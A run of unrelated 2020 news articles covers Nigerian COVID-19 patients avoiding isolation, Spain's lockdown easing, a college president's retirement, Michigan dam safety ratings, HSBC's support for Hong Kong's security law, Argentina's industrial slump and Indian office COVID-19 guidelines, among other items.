Mr Ehanire while speaking at the daily Presidential Task Force (PTF) on COVID-19 briefing on Thursday said about 80 per cent of those who have COVID-19 would have no symptoms.

He said it is quite tasking convincing asymptomatic patients of their positive results.

It has been said that 80 per cent of those who have COVID-19 would have no symptoms, he said. And those who have no symptoms will not believe you that they are positive because they look at the TV and see people collapsing, they see intensive care, and there is nothing wrong with them.

Again, you also have the issue of people who test and they are positive but they have no symptoms. They think you are going to look for them, they run and go into hiding or they disappear, he said.

Trend

Several reports from across the country reveal how positive COVID-19 patients avoid being treated at the designated isolation centres and some break out from the centres after being admitted.

On April 4, six COVID-19 patients reportedly escaped from the dormitory of the Unity School, Ejigbo, where they were being treated.

Similarly, on April 27 three persons who tested positive of COVID-19 in Kano State allegedly ran away.

The Lagos State commissioner for health, Akin Abayomi also said many of the patients who had tested positive for COVID-19 are not at the isolation centres because they are on the run.

Some experts had said these actions may be attributed to the stigmatisation of COVID-19 patients in the country.

Stigmatisation

John Oghenehero, a medical officer and general practitioner, told PREMIUM TIMES that the fear of stigmatisation and the fear of the unknown are part of the reasons people do not want be admitted into the isolation centres.

A lot of people still do not understand how the virus is managed hence they dont want to be stigmatised, he said. It is common knowledge that there is currently no cure or vaccine. So people tend to be afraid or have the feeling that nothing can be done for them in these isolation centers realistically. So they may feel there is no need to go to the hospital.

Contact tracing

Meanwhile, at the briefing, the chairman of the Task Force, Boss Mustapha, expressed worry over the refusal of some Nigerians to help with contact tracing.

He said incessant contact tracing will help slow down the spread of the virus.

We have received reports about citizens refusing to help with contact tracing as well as going into isolation after testing positive, he said. It is in the interest of everybody that contacts are traced so as to slow down the spread.

He noted that some fatalities recorded from the virus are due to changes in the condition of patients while staying outside the isolation facilities.

It is also in our interest to go into isolation facilities for close monitoring. A number of fatalities have been recorded due to the change in the condition of patients while staying outside the isolation facilities.

Our appeal is that if agents of the state get in touch with you regarding testing, contact tracing activities, please cooperate, he said.
MADRID (Reuters) - Spain will further ease a coronavirus lockdown in its two main cities from Monday, but will not start opening its borders to foreign tourists before July 1 while it seeks a common European stance on safe travel, the government said on Friday.

Health Minister Salvador Illa said some restrictions would be lifted in Madrid and Barcelona, which have so far lagged behind the rest of the country's easing programme.

From Monday, bar and restaurant patrons will be allowed to sit inside rather than exclusively on outdoor terraces, while children will be able to play outside at any time of day.

On Thursday, Tourism Minister Reyes Maroto said land borders would reopen from June 22, causing some confusion, as well as criticism in neighbouring Portugal.

"There has been no change in the government's position since day one," government spokeswoman Maria Jesus Montero told a news briefing, referring to the previously announced July 1 date.

Despite relying heavily on tourism, which generates some 12% of GDP, hard-hit Spain has been reluctant to open its borders without a European Union-wide agreement.

In a joint letter to the European Commission, Spanish Prime Minister Pedro Sanchez and Italy's Giuseppe Conte called for a reopening plan based on "common, clear and transparent epidemiological criteria", also proposing that EU members agree on infection incidence thresholds for third countries.

In a sign that consumer appetite is beginning to return, data showed bank card spending rose by 16% in May after plunging in April, when industrial output slumped 34% according to a separate data release.

But in a reminder of the devastation wrought by the virus, Spain fell silent for a minute at midday, marking the end of a 10-day mourning period for the 27,134 people who have died. There have been 240,978 cases of the infection.

In Madrid, which accounts for about a third of the deaths, reactions to the easing were not universally positive.

"I think it's a bit risky and if there's another outbreak I don't know if we will have enough resources," dental hygienist Noemi Seco told Reuters. "I know lots of people who work in hospitals and we're stretched very thin."

(Reporting by Belen Carreno, Guillermo Rodriguez, Inti Landauro, Clara-Laeila Laudette; Writing by Nathan Allen; Editing by Andrei Khalip)
TWIN FALLS  The tires of a Chrysler kicked up a cloud of dust as a young Jeff Fox and his grandfather, in 1965, drove to fields of corn and sugar beets growing at the edge of town.

This is where the new school is going to be, the 10-year-old boys grandfather told him as they stood at the edge of the property near Washington Street and Falls Avenue.

Fox didnt think much of it at the time, but the memory today stirs up a sense of pride after 33 years at the College of Southern Idaho.

He walked past that spot Friday as he left the campus for the last time as the schools fourth president.

I can now say with certainty there are places like this in the world, Fox said of his retirement. I was at one of them.

Finds early college life spectacularly dismal

Fox grew up in Sacramento, California. His father was a broadcaster for the local NBC station and his mother was a traditional homemaker. They were both from Twin Falls and often visited the Magic Valley during the summer.

Following high school graduation, Fox enrolled at American River College in Sacramento.

It didnt go well.

His first semester at the school was spectacularly dismal, he said, and he decided not to go back. Hed lost the familiar sense of community from high school and simply didnt see the value in higher education.

What am I doing here? Fox asked himself. I dont like this, Im not comfortable. I dont feel connected.

After about six months as a line cook at a Mr. Steak restaurant, Fox reevaluated his decision to leave college and decided to give it another try.

Thats when he ran into the teachers who changed his life. They inspired him to be passionate about travel and literature and learning. He started to take an interest in the world and the human heart.

I was ready to learn and they were teaching, Fox told the Times-News. That intersection there is that magic Im talking about  that miracle Im talking about  and I suddenly realized I am smart. I do have things to say.

For someone unsure of his purpose in life, the experience was a key reason he ultimately pursued a career in education. And that experience remained invaluable throughout his time as a teacher and then an administrator.

I know the value of education because Ive seen it in my own life, Fox said. I was transformed. I know thats how it can happen.

Fox studied English, first at American River College and then at California State University, Sacramento, where he got his masters degree. He became a high school English teacher straight out of college, though he quickly realized he didnt have the skillset to teach teenagers. He then transitioned to being an adjunct professor of English and spent years as a freeway flier traveling hundreds of miles a day between campuses to teach students.

Fox later taught for several years in Matsuyama, Japan, after it began a Sister City partnership with Sacramento. Its where he eventually married his wife, Evin, who is also retiring after 15 years as a professor at CSI.

A real sense of connection

Fox was drawn to the College of Southern Idaho by his visits to Twin Falls as a child. He started teaching at CSI in 1987.

He still remembers what it felt like to step on campus for the first time. He says its the same feeling he gets when he arrives at campus today.

It smells good. It looks good. It feels good, he said. It has a peace about it, a calm. I felt a real sense of connection here.

Fox spent the next 15 years in the classroom with students. He said he loved having discussions and sharing passions, and instilling that sense of something miraculous in ones life. He loved the dialogue, camaraderie, collegiality, change and watching people get interested  or not.

I used to walk out of classrooms going wow that was a great class. I always got fed by that and it was a spark. I loved it.

Board of Trustees Chairwoman Jan Mittleider taught at CSI while Fox was still in the classroom. She said it was a pleasure to work with him as a colleague and in their roles now. Fox is someone who always treats people with dignity and respect, even those he disagrees with.

He sees the best in people, sometimes when the people themselves dont see it, Mittleider said.

Fox is a positive and visible leader, student body president Sammi Sanchez said. She remembers an occasion when Fox helped her develop a speech into something that made her proud.

He is a role model for educators on how you can help students feel inspired and eager to find their potential, Sanchez said. Students will remember him as someone who took the time to learn names, who was present at our events, and who truly served this school and community from the bottom of his heart.

For a while, Fox wanted to spend his entire career teaching and never considered getting his doctorate or moving into an administrative position. But after talking with colleagues, he started to wonder if he could impact more than 150 students each semester. Fox said he wanted to be involved in things like innovation and student advocacy  decisions that are made at the administrative level.

Ive always wondered, could I do that magnum opus?  Could I do that capstone of academic achievement? he questioned himself at the time.

In 2003, Fox became chairman of the CSI English department and in 2004 he started in the education leadership doctoral program at the University of Idaho. He finished the program in 2008, the same year he became executive vice president and chief academic officer.

Then in October of 2013, Fox was named the fourth president in CSIs history.

Never in my wildest dreams would I have thought I would be an administrator of any kind or certainly a vice president or a college president, he said.

Fox said he never wanted to be president for the title, but he saw an opportunity to make a difference on a larger scale. He said he tried to take the same passion and values from the classroom to his new role.

Im here for one reason, and thats for students, he said.

We all had a sense of purpose and pride and commitment

During commencement, Fox often asks students to reflect on how theyve changed from the first time they arrived at CSI. About 33 years after he first arrived at the school, Fox described himself as enriched, enlivened, entertained  and hopefully a little smarter.

This place changes the people who work here, he said. You cant come here and not feel thankful for this setting and for the work we do.

The school has seen considerable change, too.

Every CSI president has been responsible for things and stuff, he said. Theres always technologies to be adopted, land to be acquired, new buildings to go up and old ones to be remodeled. Whoever is in place at the time is able to get the job done.

But Fox wants to be remembered for the cultural change he helped oversee at CSI. Hes proud of the schools focus on being a steward of education and responsive to all who seek it.

I hope people remember we all had a sense of purpose and pride and commitment, he said. Thats all that matters.

CSI has come a long way from the hot and dusty beet field on the edge of town, Fox said. The school is not just a place that confers degrees but is at the center of everything happening in Twin Falls and the Magic Valley. Its a place where businesses train their employees, and where people interact with arts and science.

Most importantly, its a symbol that the community recognizes education as a transformative thing, he said. It is the community.

Fox said hell miss the school, the interaction, the life of the mind, and the commitment to change for the good.

Working at CSI has been a lucky choice, he said, and part of a purpose in life. ...

Who wouldnt want to work here?

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Current Affairs

M edical staff from Cuba will be arriving in the Turks and Caicos Islands within the next two weeks, Premier Sharlene Robinson said.



"We are equally happy to report the impending arrival of Cuban medical personnel within the next two weeks and the critical hospital upgrade works to commence next week. These gains are important as we reopen the local economy and then our borders," she told the House of Assembly on Friday, May 29th, 2020.



"We are pleased that there is in country testing and that an amended national testing strategy will soon be completed and announced which will include the use of multiple PCR Machines procured and the critical role of private sector."



Minister of Health Hon. Edwin Astwood said the Cubans will be here for an initial period of three months.



" If it needs to be extended, the request would be made prior to end of the period. Their professional spectrum ranges from physicians, nurses, Public Health Nurses, Technicians, and one administrator," he said.



Cuba has sent more 100 health care workers to assist Caribbean countries in the fight against the COVID-19 virus.



Those countries include Jamaica, St. Lucia, Barbados, St. Vincent and the Grenadines, Antigua and Barbuda, Dominica, St. Kitts and Nevis and Grenada.



Meantime, Hon. Astwood said the Ministry of Health continues to place all Covid-19 activities as priority, only giving immediate consideration to emergency to medical situations.



"For the past 3 months, my Ministrys COVID-19 response focus has been on mitigating against the spread of this coronavirus, contact tracing of suspected cases, developing of the in-country testing capabilities, and increasing the capacity of health facilities to treat severe patients, developing protocols for re-opening, and providing recommendations for the Phased re-opening of the country," he said during the House of Assembly on Friday, May 29th, 2020.



"In addition, amid the constraints to global supply chains due to the COVID-19 pandemic, and when governments throughout the world are facing considerable challenges to support their populations, and with a high demand and low availability of essential medical supplies, export restrictions, and limited transportation capacity due to the decrease or absence in air travel, this Government, The Turks & Caicos Government, thus far, has effectively responded to COVID-19 and are ensuring thatour Health Care systems have the capacity to Identify and Treat both current future respiratory illnesses, especially those due to SARS-CoV-2 outbreaks."






SAGINAW, MI - Before its collapse in May that led to flooding across Midland and parts of Saginaw County, the Edenville Dam was one of six dams rated by the state as in poor condition and as a high hazard to residents and the environment.

The remaining five are located in Ottawa, Cheboygan, Schoolcraft and St. Joseph counties.

The Michigan Department of Environment, Great Lakes and Energy, or EGLE, held a media briefing on Friday, June 5, to give an overview of the departments regulatory dam safety responsibilities and duties. Officials also discussed the current state of 85 dams under state regulation.

The current status of every dam regulated by the state can be viewed on an interactive map on EGLEs website. Those interested can view and interact with the map here.

The map sorts structures by what regulatory authority it falls under, the condition of the structure as of the last time it was inspected and the hazard potential if the structure fails. When clicked on, each structure will also display when it was last inspected and who owns it.

Hazard potential is not determined by the condition of the dam or the likelihood it will fail, but rather the loss of life and economic and environmental damage that would likely occur if it fails, EGLE dam safety engineer Luke Trumble said.

The condition of a dam can be one of four levels, other than not rated":

Satisfactory

Fair, meaning it is in good condition but could have safety issues in extreme circumstances.

Poor, meaning either inspectors know theres a problem or theres not enough information to tell.

Unsatisfactory, where regulators know theres a problem that needs immediate attention.

Of the 85 high-hazard potential dams the state regulates, there are none rated unsatisfactory, but six including the Edenville Dam are rated poor and one is unrated.

The others in the poor category include:

Buttermilk Creek Detention Dam in Ottawa County, which has unauthorized modifications to its spillway and needs further analysis.

Cornwall Creek Dam in Cheboygan County. The Michigan Department of Natural Resources is in the development stages of replacing its deteriorated spillway.

The Manistique Papers Dam in Schoolcraft County, which safety engineer Dan DeVaun said is extremely old."

Little Black River Structure B owned by Cheboygan County, which has a small sinkhole nearby.

Portage Plant in St. Joseph County, which has deteriorated with age and has a delinquent owner. The state is planning enforcement action.

The Dam Safety Program typically works with dam owners to resolve known issues, with the state considering harsher enforcement if owners fail to adhere to a timeline. The department can impose a fine of up to $10,000 per day per violation, Trumble said. As need escalates, the department can order owners to shut down or limit operations at a dam, or have it removed. If theres imminent danger, the department can step in directly and sue the owner to recoup any costs related to the emergency repairs.

The department was working with the new owners of the Edenville Dam to resolve its structural issues at the time it collapsed, Trumble said. The state took authority over the dam in 2018 after federal regulators revoked the hydropower license from its previous owners, Boyce Hydro, after decades of reported regulatory non-compliance.

Read more:

'If someone needs help, you help them, Parma Twp. resident starts donation drive for Midland flood victims

Good news for travelers: Flood-damaged U.S. 10 bridge over Sanford Lake to partly reopen

$1.5 million needed to fix Saginaw Countys flood-damaged roads

Flood clean up kits available from the Salvation Army in Midland; Open Door plans clothing giveaway

Midland flood victims who literally lost their lifes savings face new reality
Senior British and U.S. politicians criticised HSBC and Standard Chartered on Thursday after the banks backed China's national security law for Hong Kong, in conflict with the British government's opposition to the proposed legislation.

In a break from their usual policy of political neutrality, the British banks on Wednesday expressed support for the law even as it drew global condemnation, including from Britain, and revived anti-government demonstrations in the Asian financial hub of Hong Kong. Shares in HSBC, which is Britain's biggest bank, fell more than 1% in London, paring earlier gains in its Hong-Kong listed stocks while Standard Chartered shares in London were flat.

"I wonder why HSBC and StanChart are choosing to back an authoritarian state's repression of liberties and undermining of the rule of law," Tom Tugendhat, British Conservative Party member and chair of the Foreign Affairs Committee tweeted. Florida senator Rick Scott tweeted that HSBC had "chosen profits over human rights."

Asked about the position taken by both banks, a spokesman for British Prime Minister Boris Johnson said: "If China proceeds with this security legislation, it would be in direct conflict with its obligations under the Joint Declaration ... our message is both clear and shared by our international partners."

Asked specifically whether Britain was concerned by the banks' actions, the spokesman said: "The answer I've given you is a direct response to HSBC and Standard (Chartered)." The United States, Australia and Canada have all criticised China for imposing the law on the former British colony, which was handed back to China in 1997 but guaranteed autonomy in a Sino-British Joint Declaration.

People who said they are HSBC customers posted on social media that they will close their accounts in response to HSBC's backing of Beijing. HSBC and StanChart declined to comment. The reaction highlighted the predicament facing the two banks, based in Britain but with deep roots in China where they are trying to expand when the country's ruling party is clashing with Britain and the United States.

Hong Kong accounted for 90% of HSBC's pre-tax profit and 41% of StanChart's in 2019, showing the importance of the Asian financial hub to the banks' bottom line. "The investment case for HSBC is clouded by the outlook for Hong Kong and steps by China to impose greater control over the autonomous region," said Will Howlett, equity analyst at HSBC shareholder Quilter Cheviot.

The Global Times, which is published by the People's Daily, the official newspaper of China's ruling Communist Party, said that HSBC's move should have come earlier. Some of HSBC's corporate peers including Cathay Pacific Airways (0293.HK) have faced retribution from Beijing for perceived support for the anti-government protesters.

HSBC backing comes after former Hong Kong leader Leung Chun-ying on Friday criticised the bank for not making its "stance" clear on the law and said that its China business could be "replaced overnight" by banks from China and other countries. Some employees of HSBC and StanChart noted that the business imperative was likely the reason for the support.

"The reason for the statement is white terror, forced action to protect the bank's business," Wong, an HSBC staffer in Hong Kong who declined to give his full name, told Reuters. "When (these) two banks started to take a stand, it will be no surprise that other banks will start to follow suit."

Also read: Amazon in early-stage talks to buy $2 billion stake in Bharti Airtel
Delia: "It is financial inequality driving it. The virus has unleashed the fear." philgil: "Just as we witnessed the failure of Fascism in the 1940s and the failure of Communism in the 1990s, we are now witnessing the failure of rampant capitalism and neoliberal ideology!" DC: "Whatever else is happening in the US, the crisis we are seeing is being brought on by a nation whose leader has lost control of his country. Bad decisions, blame game, deflection, outright lies. When the leader loses control nobody feels safe. It's chaos!" wbones: "Doing something about the gun laws in the US would go a long way to easing all the other problems that flow from it."

Reading through the comments, Switzer noted that as a conservative columnist many readers rushed to highlight his criticism of the President. Demonstrators gather in Washington to protest after the death of George Floyd. Credit:AP NewEra asked did someone hack Tom Switzers staff login?, pip123 was flabbergasted about his stark reversal of opinion and Sinical Rose wrote he's "drunk the liberal Kool-aid". "One reader thanked me for being 'a decent man [for] speaking up' - something I never expected to hear from a so-called 'Inner City Leftie'," Switzer said. "The inference here was that conservative columnists arent supposed to condemn police brutality and raise awareness of African-American injustice.

"Other readers said they 'never thought we would see a day when Tom would criticise Trump'. "Yet in this paper and elsewhere, I have described Trump as a 'rude, crude, lewd buffoon'." Switzer said ever since Trump appeared on the political scene five years ago, he has "deplored his nativism, protectionism and debasement of public discourse". "True, I have said he is right to try to end Americas stupid endless wars in the Middle East," the columnist said.

"And I never accepted he was in cahoots with Putin, a charge that the Mueller Report could not prove. Loading "But those observations hardly mean I support what the distinguished US conservative columnist George Will has called the 'Crybaby-in-chief'. The first half of this line in the column drew particular ire from several readers: "Americans from anarchists and socialists on the far left to far-right extremists have powerful incentives to get their pitchforks out and bring the system down." John B wrote: "Socialists aren't the 'far left' though you may love them to be. Those agitating are white, right-wing and armed. These are the foot soldiers (literally) of the Republican neoliberals. These folk, like the fool Trump, are mere puppets."

"But what is Antifa?" Switzer responded. "It is a militant left-wing political movement that seeks to trample free speech and topple a democratically-elected government." He was backed by reader Malcolm: "Far-left socialists are equally as bad as far-right extremists." Switzer said while what was unfolding was "sad, indeed depressing", Americas cultural crisis has been decades in the making and helped explain why Trump was elected in the first place. With readers questioning whether the current President was the symptom rather than the disease, there were mixed views on whether the situation would improve if he was voted out of office.
GSEB HSC Arts and Commerce Result 2020 Date Announced | The Gujarat Secondary and Higher Secondary Education Board (GSEB) announced the results of Arts and Commerce of Higher Secondary Certificate (HSC) examinations today (Monday, 15 June).

GSEB HSC Arts and Commerce Result 2020 Date Announced | The Gujarat Secondary and Higher Secondary Education Board (GSEB) announced the results of Arts and Commerce of Higher Secondary Certificate (HSC) examinations today (Monday, 15 June).

Students who appeared for these exams can check their scores on the official site of GSEB at gseb.org.

Details such as toppers list and pass percentage are expected at 8 am.

To get their results, students need to login using their hall ticket number.

The board previously said it would announce the results in the last week of June.

Here is how you can check your GSEB HSC result:

Step 1: Visit the official website of Gujarat board  www.gseb.org

Step 2: On the homepage, click on the link that says 'GSEB Results 2020 for Arts and Commerce'

Step 3: Fill seat number at the result page

Step 4: Hit 'submit' button

Step 5: Your GSEB Results 2020 for Arts and Commerce 2020 will appear online

Step 6: Download the results and take a print out for future references

GSEB usually announces the dates of results much in advance but this year, it had announced the Class 12 Science exam result date one day before the scheduled day. The Class 12 Arts and Commerce streams examinations were held between 5 to 21 March 2020.

Chairman AJ Shah told The Indian Express that the board will release the answer key within a day or two following which the results will be announced. The evaluation process of the HSC papers were completed in May. The exam was deferred in mid-April due to the lockdown. The post-evaluation process will be completed soon, following which the results of HSC (general stream) exams will be released this week, the chairman said.

GSEB had recently announced the HSC results for the science stream on 17 May and a total of 71.34 percent of students cleared the exam successfully. A fake circular has been made using the official notification released for Science Stream and this fake circular said that result for Arts and Commerce streams would be declared on 19 May.

Students are advised to keep visiting the official website of the board at regular intervals for any update.

Around 16 lakh students appeared for the Gujarat Board exam this year, out of which around six lakh appeared for the Class 12 exam.

The GSEB Class 12 Science result shows that the pass percentage of girls dropped from 72.01 percent last year to 70.85 percent this year, while that of boys dipped marginally from 71.83 percent to 71.69 percent. Rajkot emerged as the top-performing district with a pass percentage of 91.42.

Although there is no clarity on supplementary exams this year. Meanwhile, the state has decided to mass promote students all schools across boards from classes 1 to 8, 9, and 11.
Tyler J. Claringbole Chuck Koehler said, It has been not just my privilege, but the privilege of all the lawyers in our firm, to work with Tyler as he helps our clients make sound business decisions every day.

In February, Tyler was appointed as a Commissioner of Condemnation for Outagamie County by the Outagamie County Circuit Court judges. He was sworn in by Judge McGinnis. This position was previously held by Herrling Clark Attorney Andrew J. Rossmeissl. Commissioners of Condemnation are appointed by Circuit Court judges and serve for a three-year term.

Active in the local legal community, Tyler is a member of the Wisconsin State Bar Association, the Outagamie County Bar Association, and the American Bar Association.

Tyler received his Bachelors degree from the University of Wisconsin - Madison and he earned his Juris Doctorate from the University of Wisconsin Law School. He majored in Finance, Investments, and Banking.

While attending law school, Tyler served as the Senior Managing Editor of the Wisconsin Law Review and as a judicial intern for Chief Judge William M. Conley of the United States District Court for the Western District of Wisconsin. He also studied abroad at the University of Sydney and completed a practical internship with Merrill Lynch, where he served as a Global Wealth and Investments Management Intern.

Senior business law attorney and Past-President Chuck Koehler said this about Claringbole: From his first interview, I knew he had shareholder potential. As Senior Editor of the UW Law School Wisconsin Law Review staff, he came to Herrling Clark able to give accurate and reliable business advice to our firms clients on every legal issue presented to him from his first day on the job. It has been not just my privilege, but the privilege of all the lawyers in our firm, to work with Tyler as he helps our clients make sound business decisions every day.

About Herrling Clark Law Firm Ltd.

With more nationally board certified trial attorneys located in northeast Wisconsin than any other law firm, Herrling Clark Law Firm Ltd. handles Personal Injury; Family Law; Wills, Trusts and Probate; and Business law matters.

The accomplished lawyers at Herrling Clark Law Firm Ltd. have held prominent positions in various state legal organizations, appeared as regular guests on local radio programs, and hosted a local legal education television program. They have also authored articles in various renowned legal publications. The firm is skilled in the latest technology and is well-versed in recent changes to case law. Their knowledgeable attorneys are prepared to handle the most complex legal matters to achieve the most favorable outcomes for their clients.

To learn more about Herrling Clark Law Firm Ltd., visit https://www.herrlingclark.com/ or call 920-739-7366 to schedule a consultation.
Aprils drop was the sharpest fall since the 1990s, when the country was tilting into a financial crisis.

Argentinas industrial output crashed 33.5 percent in April from the same month last year, the governments statistics agency said on Thursday, as the national lockdown to fight the coronavirus pandemic bludgeoned Latin Americas third-largest economy.

It was the sharpest drop in industrial output since the 1990s, when the country was tilting into a financial crisis that would press millions of middle-class Argentines into poverty.

More than 580 Argentines have died in the pandemic so far, and urban centres remain primarily closed to business. Argentina recorded 949 new infections on Wednesday, the highest daily jump since the pandemic began. The country has a total of 19,268 cases.

Other countries with this kind of fall in economy production are in a stage where the epidemic is somehow under control, with a decrease in active cases. Argentina, however, is just starting to see an increase in cases, said Gabriel Zelpo, director of the Buenos Aires economic consultancy Seido.

He forecast that Argentinas economy will shrink more than 10 percent this year after recessions of 2.1 percent in 2019 and 2.5 percent in 2018.

The operational limitations resulting from compulsory preventive measures substantially affected industrial activity, Argentinas INDEC statistics agency said in a statement announcing the drop in April.

Only about a third of the countrys industrial manufacturing base was able to operate normally, the statement said, while the remaining two thirds either did not operate or could only operate partially.

Argentinas construction sector plummeted 75.6 percent in April from April 2019, government data showed.

As happened in the economic meltdown that marred Argentina at the start of the 2000s, the country once again finds itself in a sovereign debt default as the government tries to restructure its bonds. The latest default occurred on May 22 when Argentina missed an interest payment of $503m.
Chad Chronister, the sheriff in-charge of Carole Baskins missing husband Don Lewis case has revealed that the signatures on Lewis multi-millionaire will was a 100 percent a forgery.

Chroninster said that there is nothing much they can do about the forgery as it has passed the statute of limitation. He added that the case of the sudden disappearance of the American Big Cat Rescue founder is still open.

They called in some experts to say the will was a forgery, but I had already told them that two months ago,' he told the Daily Mail.

Lewis was the owner of Wildlife on Easy Street in Florida and he went missing in 1997. After the death, his second wife Carole turned up with his will and power of attorney, giving her complete control of Lewis $5 million estate, the report added.

This news comes days after Carole was granted the control of Netflixs Tiger King fame Joe Exotics Oklahoma zoo.

The rivalry between Carole and Exotic goes a long way. Exotic has even accused Carole of being involved in the sudden disappearance of Lewis.

Earlier, Lewis former attorney Joseph Fritz had claimed that his clients signature was forged on both the documents. He went on to add that he believes that Lewis signature was traced from his marriage certificate.
New Delhi: Popular television actress Nia Sharma took to social media and showed her support to the killing of George Floyd and the ongoing Black Lives Matter protest against the police brutality in the US. She, however, added a perfect twist to it by hitting on the desi prejudice against colour.

She shared a post which reads:

Discrimination on the basis of colour is often faced by many females in the country, especially at the time of matrimony. Hitting out at the prejudice, TV actress Nia's timeline was flooded with comments with fans liking it and sharing their own experiences.

On the work front, before lockdown, Nia was seen in Balaji Telefilms' hit supernatural TV series 'Naagin 4'.

Nia Sharma, she was once ranked second in the Top 50 Sexiest Asian Women 2017 list published by British-based Eastern Eye newspaper and was ranked third in 2016 respectively.
New Covid guidelines for Government Offices out: WFH, staggered timings, full details here

New guidelines for international passengers as COVID-19 cases spike in Maharashtra

Delhi, Karnataka, Bihar: What is allowed and what is not

In case of large outbreak, shut office for 48 hours say new guidelines

India

oi-Vicky Nanjappa

New Delhi, June 05: The Ministry of Health has issued new guidelines for offices.

There is a need to prevent spread of infection and to respond in a timely and effective manner in case suspect case of COVID-19 is detected in these settings, so as to limit the spread of infection, the ministry has said.

General measures:

Persons above 65 years of age, persons with comorbidities, pregnant women are advised to stay at home, except for essential and health purposes. Office management to facilitate the process.

Centre issues guidelines for the reopening of malls, offices and religious places | Oneindia News

Hotels, hospitality units to open amidst tight norms: Full list of SOPs

The generic preventive measures include simple public health measures that are to be followed to reduce the risk of infection with COVID-19. These measures need to be observed by all (employees and visitors) at all times. These include:

i. Individuals must maintain a minimum distance of 6 feet in public places as far as feasible.

ii. Use of face covers/masks to be mandatory.

iii. Practice frequent hand washing with soap (for at least 40-60 seconds) even when

hands are not visibly dirty. Use of alcohol-based hand sanitizers (for at least 20

seconds) can be made wherever feasible.

iv. Respiratory etiquettes to be strictly followed. This involves strict practice of covering one's mouth and nose while coughing/sneezing with a tissue/handkerchief/flexed elbow and disposing off used tissues properly.

v. Self-monitoring of health by all and reporting any illness at the earliest to the

immediate supervisory officer.

vi. Spitting shall be strictly prohibited.

vii. Installation & use of Aarogya Setu App by employees.

Preventive measures:

i. Entrance to have mandatory hand hygiene (sanitiser dispenser) and thermal screening provisions.

ii. Only asymptomatic staff/visitors shall be allowed.

iii. Any officer and staff residing in containment zone should inform the same to

supervisory officer and not attend the office till containment zone is denotified. Such staff should be permitted to work from home and it will not be counted as leave period.

iv. Drivers shall maintain social distancing and shall follow required dos and don'ts related to COVID-19. It shall be ensured by the service providers/ officers/ staff that drivers residing in containment zones shall not be allowed to drive vehicles.

v. There shall be provision for disinfection of the interior of the vehicle using 1% sodium hypochlorite solution/ spray. A proper disinfection of steering, door handles, keys, etc. should be taken up.

vi. Advise all employees who are at higher risk i.e. older employees, pregnant employees and employees who have underlying medical conditions, to take extra precautions. They should preferably not be exposed to any front-line work requiring direct contact with the public. Office management to facilitate work from home wherever feasible.

vii. All officers and staff / visitors to be allowed entry only if using face cover/masks. The face cover/mask has to be worn at all times inside the office premises.

viii. Routine issue of visitors/temporary passes should be suspended and visitors with proper permission of the officer who they want to meet, should be allowed after being properly screened.

ix. Meetings, as far as feasible, should be done through video conferencing.

x. Posters/standees/AV media on preventive measures about COVID-19 to be displayed

prominently.

xi. Staggering of office hours, lunch hours/coffee breaks to be done, as far as feasible.

xii. Proper crowd management in the parking lots and outside the premises - duly

following social distancing norms be ensured.

xiii. Valet parking, if available, shall be operational with operating staff wearing face

covers/ masks and gloves as appropriate. A proper disinfection of steering, door

handles, keys, etc. of vehicles should be taken up.

xiv. Any shops, stalls, cafeteria etc., outside and within the office premises shall follow

social distancing norms at all times.

xv. Specific markings may be made with sufficient distance to manage the queue and

ensure social distancing in the premises.

xvi. Preferably separate entry and exit for officers, staff and visitors shall be organised.

xvii. Proper cleaning and frequent sanitization of the workplace, particularly of the frequently touched surfaces must be ensured.

xviii. Ensure regular supply of hand sanitisers, soap and running water in the washrooms.

xix. Required precautions while handling supplies, inventories and goods in the office

shall be ensured.

xx. Seating arrangement to be made in such a way that adequate social distancing is

maintained.

xxi. Number of people in the elevators shall be restricted, duly maintaining social

distancing norms.

xxii. For air-conditioning/ventilation, the guidelines of CPWD shall be followed which

inter alia emphasises that the temperature setting of all air conditioning devices should be in the range of 24-30oC, relative humidity should be in the range of 40- 70 per cent, intake of fresh air should be as much as possible and cross ventilation should be adequate.

xxiii. Large gatherings continue to remain prohibited.

xxiv. Effective and frequent sanitation within the premises shall be maintained with

particular focus on lavatories, drinking and hand washing stations/areas.

xxv. Cleaning and regular disinfection (using 1 per cent sodium hypochlorite) of frequently touched surfaces (door knobs, elevator buttons, hand rails, benches, washroom fixtures, etc.) shall be done in office premises and in common areas

xxvi. Proper disposal of face covers / masks / gloves left over by visitors and/or employees shall be ensured.

xxvii. In the cafeteria/canteen/dining halls:

a. Adequate crowd and queue management to be ensured to ensure social distancing norms.

b. Staff / waiters to wear mask and hand gloves and take other required precautionary measures.

c.The seating arrangement to ensure a distance of at least 1 meter between patrons as far as feasible.

d. In the kitchen, the staff to follow social distancing norms.

Measures to be taken on occurrence of case(s):

Despite taking the above measures, the occurrence of cases among the employees working in the office cannot be ruled out. The following measures will be taken in such circumstances:

When one or few person(s) who share a room/close office space is/are found to be suffering from symptoms suggestive of COVID-19:

a. Place the ill person in a room or area where they are isolated from others at the workplace. Provide a mask/face cover till such time he/she is examined by a doctor.

b. Immediately inform the nearest medical facility (hospital/clinic) or call the state or district helpline.

c.A risk assessment will be undertaken by the designated public health authority (district RRT/treating physician) and accordingly further advice shall be made regarding management of case, his/her contacts and need for disinfection.

The suspect case if reporting very mild/mild symptoms on assessment by the health authorities would be placed under home isolation.

Suspect case, if assessed by health authorities as moderate to severe, will be treated as per health protocol in appropriate health facility.

f. The rapid response team of the concerned district shall be requisitioned and will undertake the listing of contacts.

g.The necessary actions for contact tracing and disinfection of workplace will start once the report of the patient is received as positive. The report will be expedited for this purpose.

ii.If there are large numbers of contacts from a pre-symptomatic/asymptomatic case, there could be a possibility of a cluster emerging in workplace setting. Due to the close environment in workplace settings this could even be a large cluster (>15 cases). The essential principles of risk assessment, isolation, and quarantine of contacts, case referral and management will remain the same. However, the scale of arrangements will be higher.

Management of contacts:

a. The contacts will be categorised into high and low risk contacts by the District RRTas detailed in the Annexure I.

b. The high-risk exposure contacts shall be quarantined for 14 days.

c.These persons shall undergo testing as per ICMR protocol.

The low risk exposure contacts shall continue to work and closely monitor

their health for next 14 days.

their health for next 14 days. The flowchart for management of contact/ cases is placed at Annexure - II.

Closure of workplace

If there are one or two cases reported, the disinfection procedure will be limited to places/areas visited by the patient in past 48 hrs. There is no need to close the entire office building/halt work in other areas of the office and work can be resumed after disinfection as per laid down protocol.

However, if there is a larger outbreak, the building/block will have to be closed for 48 hours after thorough disinfection. All the staff will work from home, till the building/block is adequately disinfected and is declared fit for re-occupation.

High-risk contact

Touched body fluids of the patient (respiratory tract secretions, blood, vomit, saliva, urine, faeces; e.g. being coughed on, touching used paper tissues with a bare hand)

Had direct physical contact with the body of the patient including physical examination without PPE

Touched or cleaned the linens, clothes, or dishes of the patient.

